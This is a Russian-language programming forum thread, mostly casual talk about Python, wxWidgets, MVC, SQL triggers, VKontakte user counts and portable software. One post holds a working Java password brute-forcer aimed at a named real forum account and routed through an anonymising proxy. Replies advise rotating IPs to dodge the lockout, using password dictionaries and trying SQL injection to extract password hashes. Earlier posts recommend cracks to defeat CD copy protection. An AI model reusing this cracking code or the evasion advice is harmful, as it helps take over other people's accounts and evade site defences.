И ещё: есть такая старая игрушка "Петька и Василий Иванович 2", так её тоже не получается сэмулировать. Такого никогда не бывало: ставлю в алкоголе скорость чтения субканальных данных на 1x,ставлю "измерять позиционную хрень",и всё прочее,и мне пишет "невозможно получить правильную [какую-то, забыл какую] инф. с диска",образ не работает.Эта хрень и с "П и В.И. спасают галактику", и с "П и В.И.: судный день".Оба диска же древние, почему последняя версия алкоголя не помогает? А так диски нулячие, без царапин.

Автор: worldmind 26.4.2007, 8:39

Debian Project participates in Google's Summer of Code
...
Pavel Vinogradov will develop a status monitoring system for
security management of clusters of Debian systems. It is based on
the OVAL language, which provides a uniform mechanism to report on
and control security centrally.
...

http://wiki.debian.org/SummerOfCode2007

Наши тоже в Гугловском Кодирующем лете участвуют

Автор: Schnapz 26.4.2007, 12:25

Цитата(===СТАЛИНЕЦ=== @ 3.3.2007, 19:29) *
Люди,подскажите, как сэмулировать игру со стар форс 3? Есть алкоголь 120%, демон туулз, неро и ещё какая-то прожка "StarFuckerRevolution". У меня опыта и мозгов не хватило, как ни пытался. И можно ли сделать полноценный образ,чтоб его на болванку потом?

Чо за игра? Не мучайся, кряк найди в нете и все.
Цитата
И можно ли сделать полноценный образ,чтоб его на болванку потом?

Это вряд ли, разве что сам исполняемый файл кряком пропатчить.

Автор: Dewshman 30.4.2007, 23:17

Цитата
Люди,подскажите, как сэмулировать игру со стар форс 3? Есть алкоголь 120%, демон туулз, неро и ещё какая-то прожка "StarFuckerRevolution". У меня опыта и мозгов не хватило, как ни пытался. И можно ли сделать полноценный образ,чтоб его на болванку потом?


Попробуй ClonCD он вроде простой но в тоже время нормально старые игрухи хавал, впрочем для начала проверь на эРВэшке.

Автор: fantom 13.6.2007, 23:24

CloneCD уж точно со старФорсом справиться не поможет, Алкоголь иногда помогает, но:
1. Дравера СтарФорс НЕ ДОЛЖНЫ стоять в системе.
2. Игра должна устанавливаться с виртуального CD.
3. Драйвера Алкоголя должны бвть сказёвые. Иначе не проканает.
----------------------------
Могу помаленьку подкзать в программировании на Python. Delphi никак принципиально. Если уж на то разговор пошёл - юзай Компонентный Паскаль (Оберон-2). Привет Вирту.

Автор: fantom 17.6.2008, 22:05

На днях, одному товарищу закончу писать систему тестирования знаний работников колёсно-роликового цеха вагонного депо Черняховск.
Ржач заключается в том, что Выньдовс позволяет выполнить операцию типа:

Код
file=open("test.txt","rb")

в том же каталоге, что и программа. Туда же программа пишет и свои выходные результаты.
А в Линуксе, чтобы программа писала в тот же каталог, что и программа:
Код
file=open("./test.txt","wb")

но следует учитывать, что писать в каталог /usr/bin может только админ.
А кто готов за так отдать ключи от квартиры, где деньги лежат? spiteful.gif))
Чтобы файл оказался скрытым - впереди (под Линуксом) должна стоять точка в имени файла.
Как можете понять - под Виндой этот вариант не катит.
В целом, Линукс сделан более грамотно процентов на 500% smile.gif)))
Python - рулит!

Автор: fantom 17.6.2008, 22:26

Некоторое время тому назад активно решил заняться разработкой программ в стиле MVC (Model-Viewer-Controller).
Такой подход обещает ряд заманчивых возможностей.
Так, например, Питон по умолчанию работает с Tcl/Tk. Но с точки зрения эргономики эти графические элементы мрачноваты. wxWidgets обладает на порядок большими возможностями, а qt - вообще родной для KDE.
И в каком-то смысле можно скомбинировать и то и другое. Но что делать если вдруг - wx или qt окажется диковинным зверем на машине?
Вот тут-то MVC будет в самый раз. Логика выносится отдельно, графика - отдельно. Вызовы перенаправялются в контроллере. Т. е. не меняя логику - можно менять графику. Это жесть.
Но хочу предостеречь тех кто решит заняться подобной ерундой - я начинал делать калькулятор на Питоне с помощью MVC через один глобальный контроллер (да и графику в том числе). Ничем хорошим, увы, это не закончилось.
ЛЮДИ! Не забывайте про факторизацию!
Упаковывайте ваши данные и процедуры в логически увязанные структуры - классы.
Скрывайте на разных уровнях элементарную логику от глобальной.
Иначе каши - не избежать. Привет поклонникам перловки. spiteful.gif

Автор: worldmind 18.6.2008, 11:21

Цитата(fantom @ 17.6.2008, 22:26) *
Иначе каши - не избежать. Привет поклонникам перловки. spiteful.gif

На перле можно реализовать все возможности ООП, а что ты называешь факторизацией?

Автор: fantom 19.6.2008, 20:44

Я не спорю, что сделать можно. Но то как это сделано в Перле - а ну бы его нафиг.
Если в Питоне класс определяется - то это культурно и красиво:

Код
class MyClass(OldClass1, OldClass2):
   def __init__(self, master="", command="", doc="'):
       bla-bla-bla
       ...

   def sigma(self, a=0, b=0):
       return a*b-(a/b)

Собственно факторизация - это разложение массы действий в одну строку до относительно элементарных операций (например, в одной строке - одна операция). Если мне память не изменяет в С++ это зовётся рефакторинг (а посути - тот же процесс).

Автор: worldmind 20.6.2008, 11:30

да нет рефакторинг, это другое http://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%84%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D0%BD%D0%B3
его суть в пересмотре кода, улучшение модульности, читаемости и единообразия именований, причём это не привязано к языку, это общепрограммерский термин

Автор: Schnapz 20.6.2008, 13:09

Цитата
Упаковывайте ваши данные и процедуры в логически увязанные структуры - классы.<br>
Скрывайте на разных уровнях элементарную логику от глобальной.<br>
Иначе каши - не избежать. Привет поклонникам перловки. spiteful.gif

Дык цеж базовые понятия ООП smile.gif Кто их не понимает, тому и нефик ваще дальше лезть smile.gif

Цитата(worldmind @ 20.6.2008, 12:30) *
да нет рефакторинг, это другое http://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D1%84%D0%B0%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D0%BD%D0%B3
его суть в пересмотре кода, улучшение модульности, читаемости и единообразия именований, причём это не привязано к языку, это общепрограммерский термин

Грамотный рефакторинг хорош во всех смыслах. А еще лучше писать ровный код сразу, а не лопатить потом киш-миш и тратить на это время...

Автор: fantom 18.7.2008, 6:33

Цитата:

Цитата
Это может быть перемещение поля из одного класса в другой, вынесение фрагмента кода из метода и превращение его в самостоятельный метод или даже перемещение кода по иерархии классов. Каждый отдельный шаг может показаться элементарным, но совокупный эффект таких малых изменений в состоянии радикально улучшить проект или даже предотвратит распад плохо спроектированной программы.

ИМХО, я не соврал. Модули_нг, рефакторинг, факторизция - цель одна. Упаковать данные ,облегчить чтение исходника.
Скользкий вопрос терминологии.

Автор: fantom 10.8.2008, 15:39

На днях вренулся к вопросу изучения привязки библиотеки wx к Python`у - wxWidgets. В целом библиотека меня и раньше радовала, но теперь вижу ряд принципиальных возможностей по сравнению с Tcl\Tk - например, нехватает до ужоса метода Show()\Hide(). А тутась - можно скрыть фрейм Show(False). Ко всему прочему не могу сказать что стиль Set[Property]/Get[Property] плох - задание свойств явным образом привносит читаемость и прозрачность. Кроме того, куча виджетов+такие вещи, как диалог вывода на печать. Tcl\Tk таким похвалиться не может. Я догадываюсь почему - печать в стиле Unix позволяет сделать всё что угодно. spiteful.gif Но про виндецовых пользователей тожа забывать не нада. Программа, которую я сейчас колбасю имеет возможность запускать везде, при наличии связки Python+wxWidgets. Раздельные версии не требуются.

Автор: worldmind 11.8.2008, 6:55

Переходи на Qt4 (PyQt) она теперь тоже кроссплатформенная

Автор: fantom 26.8.2008, 10:55

Да всё это понятно.
Но не следует забывать, что для коммерческого использования требуется отдельная лицензия.
Деньги можно брать только за работу.
Впрочем, поверхностно знаком - весьма приличная вещь.
А компоновщик форм - вещь вообще волшебная.
Со временем - будем посмотреть.

Автор: Vol.shebnik 24.1.2009, 13:20

Мужики! я в веб-программировании новичек... я подвис на Microsoft... под веб...
АСП.НЕТ - предоставляет богатейшие возможности для разработки сервеной части...
но беда в другом... меня забибикали эти постбаки, с постоянным обновлением всей страницы...
появились инструменты "типа AJAX"... но они внатуре только типа...
писать что-то AJAX подобное в Visual Studio - это писец.

скачал GWT... идея очень нравится. буду пробовать на нем разрабатывать клиентскую часть...

может кто еще что-нить посоветует? кто лично с чем то похожим работал...

Автор: Schnapz 26.1.2009, 11:17

Цитата(Vol.shebnik @ 24.1.2009, 14:20) *
Мужики! я в веб-программировании новичек... я подвис на Microsoft... под веб...
АСП.НЕТ - предоставляет богатейшие возможности для разработки сервеной части...
но беда в другом... меня забибикали эти постбаки, с постоянным обновлением всей страницы...
появились инструменты "типа AJAX"... но они внатуре только типа...
писать что-то AJAX подобное в Visual Studio - это писец.

скачал GWT... идея очень нравится. буду пробовать на нем разрабатывать клиентскую часть...

может кто еще что-нить посоветует? кто лично с чем то похожим работал...

Под венду пишешь? Асп.нет хорош, но тормозит адово, плюс результат работает стабильно только в IE sad.gif Мне хвалили язык программирования python, можешь попробовать, достаточно быстрый и открытый язык программирования на основе си. Хотя я думаю если у вас там сплошной асп.нет с шарепоинтом или еще чем, то питон тут не спасет sad.gif

Автор: Vol.shebnik 27.1.2009, 22:34

Цитата(Schnapz @ 26.1.2009, 15:17) *
Под венду пишешь? Асп.нет хорош, но тормозит адово, плюс результат работает стабильно только в IE sad.gif Мне хвалили язык программирования python, можешь попробовать, достаточно быстрый и открытый язык программирования на основе си. Хотя я думаю если у вас там сплошной асп.нет с шарепоинтом или еще чем, то питон тут не спасет sad.gif

вобщем мне пока нравится GWT для клиентской части. А серверная часть на АСП.НЕТ. Кстати она шикарно работает. Меньше говнокода, больше кеша, грамотные пулы - и все летает!
все приходит с опытом... я с каждой ревизией кода добиваюсь ускорения работы.

Автор: fantom 14.5.2009, 10:16

Подсел тута на Application Google Engine. В текущей версии доступны Python 2.5 и Java (ограничения на сокеты, файловые операции, обращения к ОС - предоставляются собственные решения). Дисковое пространство - 500 МБ, 2 млн. тиков процессора за одно обращение (не обрывается процесс а зомбируется), одновременный возврат из GQL(аналог SQL, продвинутый) до 1000 объектов одним махом, разрешается на сервант заливать до 10 приложений одновременно. +с десяток АПИ на регистрацию пользователя, кеширование в памяти, фреймворк webapp+шаблоны +Django с мелкими ограничениями (шаблоны вертятся) +Python Imaging Library (извращения над графикой в широком диапазоне). Файлы хранятся как объекты в базе данных Google (масштабируется и балансируется).
------------------------
ИМХО, с этим стоит поработать.

Автор: fantom 16.5.2009, 14:27

Спасибо халявскому трафику - практически под завязку укомплектован пакетами для Python 2.6
В развёрнутом виде Python занимает 250 МБ. Отдельно считатю Eclipse, c его 130 МБ в zip-архиве.
В тоже время стокнулся с неприятным моментом. Мой pyStarter под Python 2.6 (после Python 2.4) не запускает программы..
И, похоже я нашёл причину:

Код
    def RunInfraRecorder(self, Event=''):
        os.execv(self.path+u'InfraRecorder\\InfraRecorder.exe', [''])

Функция должна средствами оси запускать ИнфраРекордер но всё прощает.
Решение нашёл такое:
Код
...
(опочки, а код то я затёр.....)

Ладно. Потом исправлюсь. Суть в том, что с помощью функции exec() запускаю тот же кусок кода в отдельном экземпляре интрепретатора. А там конструируется батничек с нужным именем исполняемого файла. Файл собой затирает исходной процесс.
Но не тот из которого вся эта бодяга начилась.

Автор: Brutall 17.6.2009, 23:01

Сегодня чего-то вспомнил старую фишку - прикол про Вконтакте. Там же типа такая хрень, что на главной странице работает Java Script, который через случайные промежутки времени рандомно увеличивает счёткик зарегистрированных пользователей Контакта, типа там на уже 140 миллионов, вся фигня. Как-то видел у Павла Дурова на странице (ну он кагбэ типа создатель контактов вроде как) такую занимательную заметку:

Цитата
Почитал комментарии к новости о 10 миллионах и нашел забавное мнение, которое повторилось несколько раз. Вкратце оно сводится к следующему:

"вас не 10 миллионов, это вы тут накручиваете количество пользователей, потому что у вас на главной странице стоит простой javasсript".

Кодеры в этом месте уже могли посмеяться и получить удовольствие. Но я пишу эту заметку не для того, чтобы кто-то над кем-то посмеялся. Мне интересно подробнее остановиться на системе подсчета пользователей ВКонтакте - для тех, кто не совсем представляет, как эта система работает, но хотел бы знать.

Javasсript, который выводит динамику роста пользователей на главной странице, делает это на основе статистики скорости роста базы предыдущих дней в соответствии с математической ожидаемостью роста - в зависимости от часа и дня недели. Каждую ночь он синхронизируется с базой данных и корректирует количество зарегистрированных исходя из точных значений базы через SQL-запрос.

В результате этого погрешность в каждую отдельную секунду достигает всего 0.0001%, что очень хорошо для системы такого рода. Хотя, разумеется, наши собственные подсчеты количества пользователей мы предпочитаем делать на основе запросов к базе данных, а не на основе клиентских скриптов.

Реализовать систему, подобную приведенной выше, может не так много народу. И это нормально - не все обязаны быть программистами. Каждый человек, искушенный в высоконагрузочных системах, понимает, что COUNT к большой таблице в реальном времени каждые полсекунды кладет базу. Понятно, что без математического ожидания, которое выводит примерное количество пользователей с погрешностью 1-2 тыс. человек, здесь не обойтись.

В этой связи особенно занятно мнение "у Вас статистика считается простым java-скриптом". Остается только позавидовать уверенности, с которой ребята судят об окружающей их жизни.

Для чего я уделил этому мнению больше внимания, чем обычной чепухе, которую говорят о Контакте. Прежде всего, чтобы лишний раз вспомнить о том, насколько для нас важно выводить данные о количестве пользователей. ВКонтакте - единственный сайт, который выводит точное количество найденных пользователей при расширенном поиске по 10-миллионной базе. То есть только ВКонтакте Вы можете узнать, например, точное количество девушек, рожденных в 1984 году. Любой желающий может заняться даже подведением общеконтактовской статистики.

Ни одна другая социальная сеть такой возможности не даст (на большие запросы в лучшем случае скажет "найдено более 500 человек"), так как это требует действительно нетривиальных технических усилий. У нас широта возможностей доходит до абсурда: можно зайти в расширенный поиск, нажать "Начать поиск" без указания дополнительных условий - и выведется количество всех найденных пользователей.

Кроме того, ВКонтакте - социальная сеть, в которой порядковые номера пользователей выдаются более менее по порядку. Конечно, красивые номера типа 10000000 изымаются сразу, чтобы не искушать любителей регистрировать ботов для оккупирования круглых аккаунтов, но теоретически любой желающий может написать скрипт, который попытается зайти на каждый из порядковых номеров (id1, id2...) и посчитает актуальное количество пользователей.

Ни одна другая крупная социальная сеть не достигает подобной прозрачности в предоставлении статистической информации. Другие сайты могут заявить "нас 700 миллионов" - и никто никогда этого проверить не сможет. Только ВКонтакте предоставляет некие инструменты для сверки официальной статистики и актуальной.

Получается, пока мы единственный сайт, который дает открытую статистику по количеству пользователей, и также единственный, кого кто-то обвинил в ее закрытости.

Парадокс, верно? Но не может ли второе быть следствием первого?

Возвращаясь к мысли годовой давности - возможно, чем больше мы даем, тем больше подозрений вызываем.

Представьте, что на улице кто-то раздает деньги прохожим - Вы решите, что деньги фальшивые, верно?


Но вот что странно - почему-то этой статьи сейчас у Павла Дурова нет! Может он понял, что где-то обложался, и удалил её? Не знаю. Вот задумался на словами
Цитата
Каждый человек, искушенный в высоконагрузочных системах, понимает, что COUNT к большой таблице в реальном времени каждые полсекунды кладет базу. Понятно, что без математического ожидания, которое выводит примерное количество пользователей с погрешностью 1-2 тыс. человек, здесь не обойтись.

Это как? Я, конечно, не сильно крутой специалист, но всё же... Какая же СУБД стоит на обслуживании Контагда, если запрос COUNT там реально выполняется??? Даже сраный Мускул, ИМХО, так не делает, ВСЕГДА и почти В ЛЮБОЙ СУБД запрос COUNT на одиночную таблицу берётся из индекса. Дуров что, сам писал СУБД, и там нет индексов??? Не понимаю.

Ну и допустим, на секунду, что вот нет индексов у него. Ну не и всё. И что же делать? Мне, например, сразу пришло в голову такое решение:
создаём левую табличку UserNum с одним полем UN, в котором одна запись типа long. Первично заполняем её:
Код
insert into UserNum values (select COUNT(*) from ContaktVegetables where NAME<>'DELETED')

Начальное число у нас есть. Уже из этой таблицы можно брать значение количества юзеров. И теперь кто мешает нам написать два простейших триггера:
Код
Create trigger DContaktVegetables on ContaktVegetables
    for delete
    as
        declare @n int
        select @n=top 1 UN from UserNum
        update UserNum set UN=(@n-(select COUNT(*) from deleted))


Create trigger IContaktVegetables on ContaktVegetables
    for insert
    as
        declare @n int
        select @n=top 1 UN from UserNum
        update UserNum set UN=(@n+(select COUNT(*) from inserted))

И всё, проблема решена! Простой запрос на выборку к таблице UserNum можно хоть 100 раз в секунду делать, ничего не случится.

И, кстати, тока что понял, что Дуров гонит как Троцкий. Попробуйте сделать поиск по всей базе, типа там
http://vkontakte.ru/gsearch.php?from=people&sort=-1#c[country]=0&c[section]=people&offset=1000
Сразу видно, что ограничение есть. Так что ничем не проверить реальное число найденных записей, все ведь никак не отобразятся.

Автор: Schnapz 18.6.2009, 7:53

Дуров пацан не идейный, я помню его пост о том, что Вконтакте был и останется некоммерческой социальной сетью без рекламы. Кто сейчас хозяин этой овощебазы, я хз, но трендеть они могут что угодно. А Яваскрипт действительно присутствует...

Автор: worldmind 18.6.2009, 22:44

Да можно просто число регистраций считать, хоть триггером, хоть кодом и складировать его в кеш, кстати сейчас льётся в myisam таблицу 36 миллионов записей для эксперимента, льётся медленно, завтра скажу за сколько count отрабатывает

Автор: worldmind 19.6.2009, 19:58

Ещё льётся, но

mysql> select count(*) from vkontakte_count_test;
+----------+
| count(*) |
+----------+
| 21022718 |
+----------+
1 row in set (0.00 sec)

А вот если делать count по конкретному полю, то ждать долго, но понятное дело count тут не причём (при большой нагрузке он может быть не таким быстрым) - просто надо считать число регистраций и хранить его в кеше

Автор: Schnapz 22.6.2009, 18:43

Легче последний ID зарегистрированного юзера выводить, если там простой increment, то примерно правильное число и будет выходить, и запрос будет выполняться в н-раз быстрее каунта, все равно точно считать никто не будет.

Автор: worldmind 24.6.2009, 18:51

Цитата(Schnapz @ 22.6.2009, 18:43) *
Легче последний ID зарегистрированного юзера выводить, если там простой increment, то примерно правильное число и будет выходить, и запрос будет выполняться в н-раз быстрее каунта, все равно точно считать никто не будет.


А как его выбрать

Автор: Brutall 24.6.2009, 18:55

select top 1 id from ContactVegetables order by ID desc
что-то типа того, если top есть в твоей СУБД.

Автор: worldmind 24.6.2009, 19:06

А сколько такой запрос будет выполнятся, в mysql top вроде нет
mysql> select count(*) from vkontakte_count_test;
+----------+
| count(*) |
+----------+
| 36278013 |
+----------+
1 row in set (0.00 sec)

mysql> select id from vkontakte_count_test order by id desc limit 1;
+----------+
| id |
+----------+
| 36278013 |
+----------+
1 row in set (0.00 sec)

С виду разницы нет

Автор: Brutall 24.6.2009, 19:09

Вот! Что и требовалось доказать! Даже если это высоконагруженная система, count(*) выполняется мгновенно, и никак её не засрёт. ИМХО.

Автор: fantom 15.7.2009, 9:09

Даже если Дуров писал базу сам, получить ответ сколько юзверей в базе, используя единственную переменную - ну это точно не проблема.
--------------
А теперь оприятном: в тырнете нашёл Python 2.4, Python 2.5, Python 2.6 - портируемые версии (в смысле, можно с флехи запускать). Решил остановить свой выбор на Python 2.5. Зипованный комплект (вместе с кучей компонентов) - 64 метра. Распакованный - 248. Пакеты добавляется к базовой версии методом укладывания в питоновскую папку C:\Python2.5\lib\site-package\... Создаётся папка-пакет и туда заваливается усё. Без компонентов питон весит 24 метра. Вот чего мне не хватало для моего мега-комбайна тотал-коламбур объёмом 1,4 гектара (в 7zip 480 мегабайт). Там есть всё: ОпенОфис, 7зип, ИнфраРекордер, СеаМонкей, Опера@УСБ и т. д. Кророче - это праздник!

Автор: fantom 17.7.2009, 8:24

Решил себе облегчить задачу отладки написуемых программ.
Но вот незадача: в консоли венды и никсов разные кодировки сплошь и рядом.
Решение дебаггера очевидно: нарисовал окно с выводом отладки в другом потоке, и другой сессии Tk. Ел уважает только юникод. Не могу сказать что это плохо, хотя требует некоторого напряжения мозга для перекодировки. Ко всему прочему теперь я логи могу сохранять и оценивать скорость выполнения тех или иных команд. (хотя в профилировщике питона для этого имеются собственные средства)

Автор: fantom 28.7.2009, 8:27

Замечательная вещь - элемент из Tkinter - Text и ScrolledText - позволяет тэгами размечать шрифт - цвет, размер, гарнитура. Ко всему прочему - можно внедрять изображения, кнопки и списки и всякую шняжку. Короче, сила. На базе текстого виджета на Питоне написан браузер Грааль. Во, мля! Пошёл качать сие чудо!

Автор: fantom 6.9.2009, 16:14

Под MOPS Linux из коробки правильно настроена русская локаль+железобетонные вещи свежайшего разлива. Порадовал дистр.

Автор: fantom 21.2.2010, 15:52

Увидел на днях два примера калькулятора. На Питоне, естессна.
Более сложный пример калькулятора понравился словарём со списком функций-обработчиков и указанием типов кнопок. Не понравилось: функция eval тупо считает всё, что ей скормят. Потенциально опасно.

Автор: Brutall 8.4.2010, 9:05

Пишу тут одну программку:

Код
import java.io.BufferedReader;
import java.io.FileWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;

public class Forcer {
    
    private static String ABC;
    private static String getTime() {
        DateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SS");
        return df.format(new Date());
    }
    
    private static String cook;
    private static int tryPass(String pass) throws Exception{
        String data = "&" + URLEncoder.encode("UserName", "UTF-8") + "=" + URLEncoder.encode("Nick", "UTF-8");
        data += "&" + URLEncoder.encode("PassWord", "UTF-8") + "=" + URLEncoder.encode(pass, "UTF-8");
        data += "&" + URLEncoder.encode("CookieDate", "UTF-8") + "=" + URLEncoder.encode("1", "UTF-8");
        data += "&" + URLEncoder.encode("Privacy", "UTF-8") + "=" + URLEncoder.encode("1", "UTF-8");
        
        URL url = new URL("http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.angrapa.ru/forum/ipb.html?act=Login&CODE=01&CookieDate=1");
        URLConnection conn = url.openConnection();
        conn.setRequestProperty("Cookie", cook);
        conn.setDoOutput(true);
        OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
        wr.write(data);
        wr.flush();
        
        //Get the response
        
        BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
        String line;
        String s=new String();
        FileWriter f = new FileWriter ("Res.html");
                
        while ((line = rd.readLine()) != null) {
            s+=line;
            f.write(line);
            f.flush();
        }
        if (s.contains("Your account will automatically be unlocked in")) {
            int pos = s.indexOf("Your account will automatically be unlocked in");
            int minutes = Integer.valueOf(s.substring(pos + 47, s.indexOf("minutes", pos)-1));
            System.out.println(getTime()+ ": " + "Account is blocked, waiting for " + minutes + " minutes");
            Thread.currentThread().sleep(1000*60*(minutes + 1));
            System.out.println(getTime()+ ": " + "Wake up!");
            return -1;
        }
        if (s.contains("Sorry, an error occurred") || s.contains("Username or password incorrect"))
            return 1;
        else return 0;
    }

    public static void main(String[] args) {
        try {
        ABC = "1234567890";
        String enLetters = "abcdefghijklmnopqrstuvwxyz";
        String rusLetters = "абвгдеёжзийклмнопрстуфхцчшщьыъэюя";
        String symbols = ".,!@#$%^&*()_+|?><~`\";/:-' ";
        ABC = ABC + enLetters + enLetters.toUpperCase() + rusLetters + rusLetters.toUpperCase() + symbols;
        URL url = new URL("http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.angrapa.ru/forum/main.html");
        
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        cook=new String();
        String headerName=null;
        for (int i=1; (headerName = conn.getHeaderFieldKey(i))!=null; i++) {
             if (headerName.equals("Set-Cookie")) {                  
            String cookie = conn.getHeaderField(i);
            cook+=cookie;
             }
        }
        for (int i=0; i<ABC.length();i++) {
            String pass = ABC.substring(i, i+1);
            int code;
            do {
                System.out.println(getTime()+ ": " + "Trying " + pass);
                code = tryPass(pass);
            } while (code==-1);            
            if (code==1)
                System.out.println(getTime()+ ": " + "Wrong pass " + pass);
            if (code==0) {
                System.out.println(getTime()+ ": " + pass + " - this is it!");
                break;
            }                
    
        }
                        
        } catch (Exception e) {e.printStackTrace();}
    }
}


Возникла необычная проблема, с которой я никогда не сталкивался. При чтении респонса, если не ставить
Код
f.write(line);
f.flush();

некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался?

И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего...

Автор: Schnapz 8.4.2010, 9:25

Цитата
некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался?

Хакир мля smile.gif Ваще удивлен, что тебе вообще что-то отдается smile.gif В ИПБ-шном движке нет html-ов, и логин происходит через файл index.php, как и все остальоне практически smile.gif
Цитата
И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего...

Ну твоя текущая прога будет лет пицот работать, патаму ша по дефолту за 3 неудачные попытки система лочит минут на 15. Количество переборов можешь сам посчитать smile.gif Делай лучше так - две попытки, смена айпишника через ананимаус, и опять. Но опять же, очень долго все это будет происходить. Попробуй заюзать словарь готовых паролей или прогу, которая может сгенерить тебе эти словари smile.gif

Автор: Brutall 8.4.2010, 9:41

Цитата(Schnapz @ 8.4.2010, 10:25) *
Цитата
некоторые страницы отдают ровно 32768 байт. Никак не могу понять, с чем это связано, и поборол вот только с помощью такого костыля. Кто-нибудь сталкивался?

Хакир мля smile.gif Ваще удивлен, что тебе вообще что-то отдается smile.gif В ИПБ-шном движке нет html-ов, и логин происходит через файл index.php, как и все остальоне практически smile.gif

Да всё ок, так не важно, есть html или нет, мне отдаётся всё то же, что может браузеру отдаться, так что тут проблемы нет.
Цитата(Schnapz @ 8.4.2010, 10:25) *
Цитата
И вторая проблема - надо придумать какой-нибудь нормальный алгоритм перебора smile.gif Поищу у Кнута, может найду чего...

Ну твоя текущая прога будет лет пицот работать, патаму ша по дефолту за 3 неудачные попытки система лочит минут на 15. Количество переборов можешь сам посчитать smile.gif Делай лучше так - две попытки, смена айпишника через ананимаус, и опять. Но опять же, очень долго все это будет происходить. Попробуй заюзать словарь готовых паролей или прогу, которая может сгенерить тебе эти словари smile.gif

Смена айпишника не помогает, потому что блочится не айпишник, а аккаунт, как я понял. Долго работать - это да... Вообще такой вариант брутфорса без мазы, я вчера с 9 утра до 19 сидел, там прога даже этот готовый цикл по паролям длины 1 не успела закончить. А готовые словари... Ну это вариант, надо попробовать...

Автор: ===СТАЛИНЕЦ=== 8.4.2010, 21:58

И кого вы собрались подобрать? Блондинку с готовым паролем? Нафига?

Автор: Brutall 9.4.2010, 11:42

Цитата(===СТАЛИНЕЦ=== @ 8.4.2010, 22:58) *
И кого вы собрались подобрать? Блондинку с готовым паролем? Нафига?

О чём ты вообще? Какие блондинки? Мы тут алгоритмы обсуждаем, программирование, о каких подборах ты говоришь?

Автор: ===СТАЛИНЕЦ=== 9.4.2010, 18:07

Да так, ни о чём. smile.gif

Автор: Schnapz 12.4.2010, 12:50

Цитата
Смена айпишника не помогает, потому что блочится не айпишник, а аккаунт, как я понял. Долго работать - это да... Вообще такой вариант брутфорса без мазы, я вчера с 9 утра до 19 сидел, там прога даже этот готовый цикл по паролям длины 1 не успела закончить. А готовые словари... Ну это вариант, надо попробовать...

Словарь конечно лучше и удобнее, но такой метод хака ИПБ слишком варварский и долгий smile.gif Гораздо илитнее юзать дырки в коде, подсовывать запросы например, вынимать парольцы, хэшики и прочее smile.gif
Цитата
Да всё ок, так не важно, есть html или нет, мне отдаётся всё то же, что может браузеру отдаться, так что тут проблемы нет.

Да я просто увидел, что там хтмл стоял, подумал мож в этом ошипка smile.gif

Автор: worldmind 12.4.2010, 21:29

2 Brutall что-то не нравится мне твой код, сильно индюшатиной пахнет, какие-то бессмысленные циклы, я думаю надо было выделить осмысленные блоки в функции /методы, типо
сформироватьСтрокуЗапроса
выделитьВремяРазблокировки
и т.д.

Автор: fantom 26.6.2010, 13:27

worldmind тут прав.
Индюшатина не конченная, но на полпути - это да.
Брутфорс лучше, чем тупой перебор, но хуже чем SQL инъекция. Элементарно, нет пары скобок в запросе, и мюскля выпадает в осадок. Потроши, пока тёпленькая. НО! Не забываем и чтим уголовный кодекс. )))

Автор: fantom 14.11.2010, 13:35

Месяц назад достал меня на рабочем ноуте косяк венды с автозапуском. Сел я за дженни и поймал себя на мысли: этот редактор поддерживает по умолчанию utf8. Запускаю скрипт под линем, и что я вижу? Каким-то чудом, тандербирд (виндовый) запустился из-под вайна (хотя в скрипте я не указывал, что вайн потребуется). Через три минуты я забыл, что виндовый тандербирд работает из-под вайна, так зараза вписался в систему.

Автор: worldmind 14.11.2010, 15:35

Цитата
Через три минуты я забыл, что виндовый тандербирд работает из-под вайна, так зараза вписался в систему.

месье знает толк в извращениях

Автор: fantom 15.11.2010, 10:48

Я над этим работаю. Поскольку тандербирд портируемый, я могу через скрипт копировать базу туда-сюда-обратно до и после запуска. А так получается, конечно садо-мазо с вазелином.

Автор: Frost 15.11.2010, 11:16

А не проще в одной папке все оставить? Одни и те же пути прописать для виндового ТБ и для линуксового?

Автор: fantom 15.11.2010, 11:52

Объясняю. Как мысль - предложение верно.
Но фишка в том, что относительные пути под вендой работают косячно (зависит от версии венды). Пытался через системные переменные - UNC пути бывает также не катит (не все dll понимают (!!!???)). А в лине в этом плане проблем нет, если есть баш. spiteful.gif Системную переменную создал, и вперёд. Вот и приходится извращаться. Тут ещё момент есть. Не все программы понимают разницу \r \r\n \n. Тоже приходится мудрить. Кодировки в меньшей степени, но тоже иногда заставляют поволноваться.

Автор: Frost 15.11.2010, 12:20

Как я понял приход в том, что ковыряя ТБ из под линукса, получаем проблему в путях из-за того, что пути в линуксе немного не в дисках начинаются. Ммм... ну окей кэп)) А если ковырять наоборот? В виннде ставим какой-нибудь софт, чтобы ТБ в винде видела раздел линукса, при этом в линуксе получается ничего ковырять не надо.

Автор: fantom 15.11.2010, 12:29

))) Таки, шаришь. Именно такую программу на питоне для автозапуска я и написал. ))) Тандербирд, Мозилла, ТинВНС, ПунтоСвичер, Смалл ШТТП сервер, Атомик лаярм клок и т. д. Надо - запустил. Не надо - убил. Но и в моём мегасборничке порядка 300 программ не требующих инсталляциия (гимп, опен офис, скрибус и т. д.) - очень удобно из одной проги пускать. Два файлика - main.bat и main.sh. Впрочем, у меня bash и под венду есть. Так что линь потихоньку вытесняет даже с рабочего ноута вынь.

Автор: fantom 17.1.2011, 15:38

